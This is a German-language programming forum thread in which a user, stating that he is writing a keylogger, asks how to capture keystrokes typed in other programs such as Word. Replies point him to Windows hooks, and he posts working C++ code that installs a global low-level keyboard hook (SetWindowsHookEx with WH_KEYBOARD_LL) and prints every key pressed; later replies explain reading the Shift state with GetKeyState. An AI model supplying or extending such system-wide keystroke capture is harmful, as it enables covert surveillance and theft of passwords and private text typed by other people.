Tastatur einlesen
-
Hallo,
Ich bin gerade dabei mir einen Keylogger zu schreiben.
Das Problem ist jetzt, die Tastatur abzugreifen.
Wie kann ich es schaffen, an die kompletten Tastendrücke zu kommen, auch wenn diese außerhalb meines Programmes geschehen?
Also wenn ich z.B. was in Word schreibe und mein Programm in Hintergrund läuft...Benötige ich da eine WinAPI ?
Gruß
-
Wenn Du unter Windows unterwegs bist, schau mal hier: Hooks.
-
Danke für den Tipp.
Mein Code (Habe ich aus dem Forum zusammengesucht) sieht jetzt so aus:
#include <iostream> #include <windows.h> #include <fstream> using namespace std; static HHOOK hhookSysMsg; LRESULT CALLBACK GlobalKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam); int main(int argc, char* argv[]) { MSG msg; hhookSysMsg = SetWindowsHookEx(WH_KEYBOARD_LL , (HOOKPROC)GlobalKeyboardHook, GetModuleHandle(0), 0); while(1) { GetMessage(&msg, 0, 0, 0); } return 0; } //--------------------------------------------------------------------------- LRESULT CALLBACK GlobalKeyboardHook(int nCode, WPARAM wParam, LPARAM lParam) { if(nCode == HC_ACTION) { if(wParam == WM_KEYDOWN) { int Zeichen; Zeichen = ((KBDLLHOOKSTRUCT*) lParam)-> vkCode; // Typekonvertierung von LPARAM auf KBDLLSTRUCT cout<<Zeichen<<endl; } } return CallNextHookEx(hhookSysMsg , nCode, wParam, lParam); }
Das funktioniert schon mal sehr gut!
Gibt nur ein kleines Problem: Es wird nicht zw. Groß- und Kleinschreibung entschieden.Kann man da was machen?
Gruß
-
Es wird nicht zw. Groß- und Kleinschreibung entschieden.
Es bibt nur eine 'A'-Taste.
Die Unterscheidung groß/klein ist doch nur eine Interpretation, abhängig vom Zustand einer bestimmten anderen Taste.
Vielleicht findet sich auch inwParam
o.lParam
diesbezügliche Information(Hab's nicht mehr im Kopf).
-
ja, das ist eine Idee, ich kann mit WPARAM schauen, ob die Shift-Taste gedrückt ist! (werde ich versuchen...)
-
Mit
GetKeyState
kannst du den Status einzelner Tasten abfragen, unter anderem auchVK_LSHIFT
undVK_RSHIFT
.